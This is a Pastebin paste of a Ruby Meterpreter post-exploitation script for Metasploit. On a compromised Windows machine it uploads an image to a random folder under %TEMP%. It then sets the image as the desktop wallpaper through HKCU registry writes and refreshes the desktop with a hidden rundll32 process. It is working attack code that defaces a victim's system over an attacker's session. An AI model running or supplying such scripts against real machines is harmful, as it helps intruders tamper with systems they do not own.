Advertisement
Guest User

Untitled

a guest
Dec 4th, 2013
1,750
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.43 KB | None | 0 0
  1. #Change Wallpaper
  2.  
  3. session = client
  4. key = "HKCU"
  5. wallpaper = "metasploit.jpg"
  6. based = File.join(Msf::Config.install_root, "data", wallpaper)
  7.  
  8. bgcolor = "0 0 0" # set to 255 255 255 for white
  9. refresh_cmd = "rundll32.exe user32.dll, UpdatePerUserSystemParameters"
  10. delay = 5
  11.  
  12.  
  13. # Options
  14. opts = Rex::Parser::Arguments.new(
  15. "-h" => [ false, "This help menu"]
  16. )
  17.  
  18. #Upload Image
  19.  
  20. tempdir = client.fs.file.expand_path("%TEMP%") + "\\" + Rex::Text.rand_text_alpha(rand(8)+8)
  21. print_status("Creating a temp dir for wallpaper #{tempdir}...")
  22. client.fs.dir.mkdir(tempdir)
  23.  
  24. print_status(" >> Uploading #{wallpaper}...")
  25.  
  26. fd = client.fs.file.new(tempdir + "\\" + wallpaper, "wb")
  27. fd.write(::File.read(based, ::File.size(based)))
  28. fd.close
  29.  
  30. if(key)
  31. registry_setvaldata("#{key}\\Control\ Panel\\Desktop\\","Wallpaper","#{tempdir}\\#{wallpaper}","REG_SZ")
  32.  
  33. # Setting the base color isn't working right now
  34. # registry_setvaldata("#{key}\\Control\ Panel\\Colors\\","Background","#{bgcolor}","REG_SZ")
  35.  
  36. registry_setvaldata("#{key}\\Control\ Panel\\Desktop\\","TileWallpaper","0","REG_SZ")
  37. print_status("Set Wallpaper to #{tempdir}#{wallpaper}")
  38. else
  39. print_status("Error: failed to open the registry key for writing")
  40. end
  41.  
  42. #Refresh the users' desktop config
  43. r = session.sys.process.execute(refresh_cmd, nil, {'Hidden' => true, 'Channelized' => true})
  44. r.channel.close
  45. r.close
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement